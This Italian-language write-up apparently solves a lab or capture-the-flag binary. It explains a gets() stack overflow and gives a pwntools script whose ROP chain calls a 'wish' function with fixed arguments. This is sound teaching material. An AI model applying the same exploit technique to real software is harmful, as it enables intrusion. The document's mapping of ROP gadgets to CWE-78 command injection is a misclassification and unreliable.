1. Teoria dell'Attacco

Il programma contiene due vulnerabilità chiave:

- **Buffer Overflow**: Il programma utilizza la funzione `gets()`, che non ha limiti sulla dimensione dell'input, consentendo un attacco di overflow del buffer.
- **Rilocazione della Funzione `wish`**: Il programma accetta due input, `word1` e `word2`, e chiama la funzione `wish` solo se questi due argomenti sono corretti. Tuttavia, è possibile sfruttare il buffer overflow per modificare il flusso di esecuzione, manipolare i registri e passare gli argomenti giusti.

Funzionamento dell'attacco:

- L'attaccante può inviare un input lungo abbastanza da sovrascrivere l'area di memoria, modificando il puntatore di ritorno per chiamare la funzione `wish` con i parametri corretti.
- La **funzione `gets()`** è vulnerabile in quanto legge l'input utente direttamente nel buffer senza controlli sulla dimensione dell'input, creando una situazione ideale per un **attacco di buffer overflow**.

2. Exploit Dettagliato

L'obiettivo dell'attacco è manipolare i registri RDI e RSI per chiamare la funzione `wish` con i corretti argomenti:

- `word1 = "Appari"`
- `word2 = "Shenron"`

Struttura del Payload:

1. **Overflow del Buffer**: L'input riempie il buffer di 40 byte e 16 byte addizionali per sovrascrivere l'indirizzo di ritorno.
2. **Manipolazione di RDI e RSI**: Vengono utilizzati i gadget `pop rdi` e `pop rsi` per caricare i valori corretti nei registri.
3. **Chiamata alla Funzione**: Una volta impostati i registri, viene chiamata la funzione `wish` per eseguire il codice desiderato.

Exploit.py:

```
from pwn import *

offset = 56  # Buffer offset calcolato per sovrascrivere l'indirizzo di ritorno
pop_rdi= 0x00007ffff7fc651e  # Gadget per popolare il registro RDI
pop_rsi= 0x00007ffff7fc84da  # Gadget per popolare il registro RSI
wish_addr = 0x0000000000401196  # Indirizzo della funzione wish
appari = 0x402004  # Indirizzo della stringa "Appari"
shenron = 0x40200b  # Indirizzo della stringa "Shenron"
exe = './nome_output'  # Nome del file binario

# Contesto del binario
elf = context.binary = ELF(exe, checksec=False)

# Costruzione del payload
payload2 = flat({
    offset: [
        pop_rdi,  # Pop il valore successivo in RDI
        appari,  # Indirizzo della stringa "Appari"
        pop_rsi,  # Pop il valore successivo in RSI
        shenron,  # Indirizzo della stringa "Shenron"
        elf.functions.wish  # Chiamata alla funzione wish
    ]
})

# Scrittura del payload su un file
write('payload2', payload2)
```

Offset: È stato calcolato che servono 56 byte per sovrascrivere l'indirizzo di ritorno, basandosi sulla dimensione del buffer e sul layout dello stack.
Gadget: `pop_rdi` e `pop_rsi` sono istruzioni trovate nel binario che consentono di impostare i registri con valori arbitrari. Questi gadget vengono utilizzati per passare correttamente i parametri alla funzione `wish`.
Chiamata alla Funzione `wish`: Dopo aver impostato i registri RDI e RSI con le stringhe corrette, viene effettuata la chiamata alla funzione `wish` con gli argomenti corretti.

CWE Coinvolti

- **CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')**: L'uso di `gets()` senza controllare la dimensione dell'input può portare a sovrascrivere l'indirizzo di ritorno.

- **CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')**: La manipolazione dei registri tramite gadget ROP è legata alla neutralizzazione di elementi pericolosi.